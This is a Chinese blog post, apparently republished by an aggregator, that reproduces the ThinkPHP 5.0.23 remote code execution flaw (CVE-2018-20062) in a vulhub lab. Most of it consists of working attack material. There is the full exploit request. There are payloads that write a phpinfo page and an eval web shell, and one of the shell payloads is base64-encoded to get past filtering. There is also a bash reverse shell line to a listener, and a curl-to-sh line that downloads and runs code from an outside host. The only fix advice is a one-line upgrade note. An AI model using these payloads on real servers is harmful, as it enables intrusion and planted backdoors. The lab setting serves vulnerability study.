ThinkPHP 5.0.23 远程代码执行漏洞(CVE-2018-20062)漏洞复现
Posted 星球守护者
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ThinkPHP 5.0.23 远程代码执行漏洞(CVE-2018-20062)漏洞复现相关的知识,希望对你有一定的参考价值。
漏洞名称
- Thinkphp 5.0.23 远程代码执行漏洞
漏洞编号
- CVE-2018-20062
漏洞描述
- ThinkPHP是一款运用极广的PHP开发框架。
- 其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,
- 导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
- 由于ThinkPHP5框架对控制器名没有进行足够的安全检测,导致在没有开启强制路由的情况下,构造特定的请求。
影响版本
- ThinkPHP 5.0系列 <= 5.0.23
实验环境及准备
第一步 vulhub搭建
cd Desktop/vulhub-master/thinkphp/5.0.23-rce
docker-compose up -d
第二步 访问网站,即可看到默认的ThinkPHP启动页面
http://your-ip:8080
漏洞发现
通过vulmap探测
漏洞复现(数据包)
第一步 执行命令
POST /index.php?s=captcha HTTP/1.1 Host: localhost Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 72 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
第二步 写入phpinfo
1|根据pwd获取绝对路径:/var/www/public
2、写入`echo "<?php phpinfo(); ?>" > /var/www/public/test.php`
echo%20"<?php%20phpinfo();%20?>"%20>%20/var/www/public/test.php
第三步 查看是否写入
1、ls%20-al
2、cat%20/var/www/public/test.php
3、http://192.168.253.147:8080/test.php
第四步 上传shell
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo%20"<?php%20@eval($_REQUEST['pass']);%20?>"%20>%20/var/www/public/pass.php
发现被过滤了
内容base64编码:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo%20-n%20YWFhPD9waHAgQGFzc2VydCgkX1JFUVVFU1RbJzEyMyddKTsgPz5iYmI=%20|%20base64%20-d>%20/var/www/public/pass.php
第五步 连接shell,并且反弹到主机
第六步 反弹shell
system('bash -c "bash -i >& /dev/tcp192.168.253.132/4444 0>&1"');
发现一直无法成功,后来一想,由于权限太低,无法执行
第六步 搭建网站,下载和执行
自己搭建一个网站,写上内容,直接下载,执行
curl%2049.233.33.xxx|sh
漏洞复现(工具)
第一步 检测漏洞
第二步 验证执行命令
第三步 漏洞检测
修复建议
- 升级ThinkPHP至安全版本
摘抄
这一年,谢谢自己
无论世事变迁,内心依旧保有着
最朴素最真挚的感恩之心
免责声明
本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!由于使用不当造成的后果上传者概不负责!
以上是关于ThinkPHP 5.0.23 远程代码执行漏洞(CVE-2018-20062)漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章